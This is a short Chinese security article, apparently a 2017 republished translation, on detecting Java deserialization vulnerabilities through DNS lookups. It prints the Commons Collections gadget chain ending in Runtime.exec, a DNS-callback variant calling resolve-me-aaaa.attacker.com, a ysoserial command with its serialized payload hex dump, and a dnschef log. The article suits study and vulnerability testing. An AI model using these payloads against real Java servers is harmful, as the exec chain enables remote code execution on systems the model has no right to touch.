本文讲的是
借助DNS解析来检测Java反序列化漏洞,
1.有效载荷完全不受操作系统的影响,如Windows,Ubuntu,Alpine Linux(Docker),Solaris,AIX等, 2.即使Web容器正在运行安全管理器或沙盒,也可进行检测, 3.支持最常见的JVM 1.6以上的版本,不过也可能是jvm1.5以上的版本,
final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };
((Runtime) Runtime.class.getMethod("getRuntime", new Class[0]).invoke(new Class[]{ Object.class, Object.class},new Object[0])).exec("echo your command here");
final Transformer[] transformers = new Transformer[] { new ConstantTransformer(new URL("http://resolve-me-aaaa.attacker.com")), new InvokerTransformer("openConnection", new Class[] { }, new Object[] {}), new InvokerTransformer("getInputStream", new Class[] { }, new Object[] {}), new InvokerTransformer("read", new Class[] {}, new Object[] {}) };
new URL("http://resolve-me-aaaa.attacker.com").openConnection().getInputStream().read();
$ java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections1Dns http://resolve-me-aaaa.attacker.com | xxd 00000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl 00000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A 00000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat 00000030: 696f 6e48 616e 646c 6572 55ca f50f 15cb ionHandlerU..... 00000040: 7ea5 0200 024c 000c 6d65 6d62 6572 5661 ~....L..memberVa 00000050: 6c75 6573 7400 0f4c 6a61 7661 2f75 7469 luest..Ljava/uti 00000060: 6c2f 4d61 703b 4c00 0474 7970 6574 0011 l/Map;L..typet.. 00000070: 4c6a 6176 612f 6c61 6e67 2f43 6c61 7373 Ljava/lang/Class 00000080: 3b78 7073 7d00 0000 0100 0d6a 6176 612e ;xps}......java. 00000090: 7574 696c 2e4d 6170 7872 0017 6a61 7661 util.Mapxr..java 000000a0: 2e6c 616e 672e 7265 666c 6563 742e 5072 .lang.reflect.Pr 000000b0: 6f78 79e1 27da 20cc 1043 cb02 0001 4c00 oxy.'. ..C....L. 000000c0: 0168 7400 254c 6a61 7661 2f6c 616e 672f .ht.%Ljava/lang/ 000000d0: 7265 666c 6563 742f 496e 766f 6361 7469 reflect/Invocati 000000e0: 6f6e 4861 6e64 6c65 723b 7870 7371 007e onHandler;xpsq.~ [...]
# python dnschef.py -q --fakeip 127.0.0.1 -i 0.0.0.0 [*] DNSChef started on interface: 0.0.0.0 [*] Using the following nameservers: 8.8.8.8 [*] Cooking all A replies to point to 127.0.0.1 [12:16:05] 74.125.X.X: cooking the response of type 'A' for resolve-me-aaaa.attacker.com to 127.0.0.1 [12:16:05] 192.221.X.X: cooking the response of type 'A' for resolve-me-aaaa.attacker.com to 127.0.0.1
原文发布时间为:2017年4月6日
本文作者:xiaohui
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。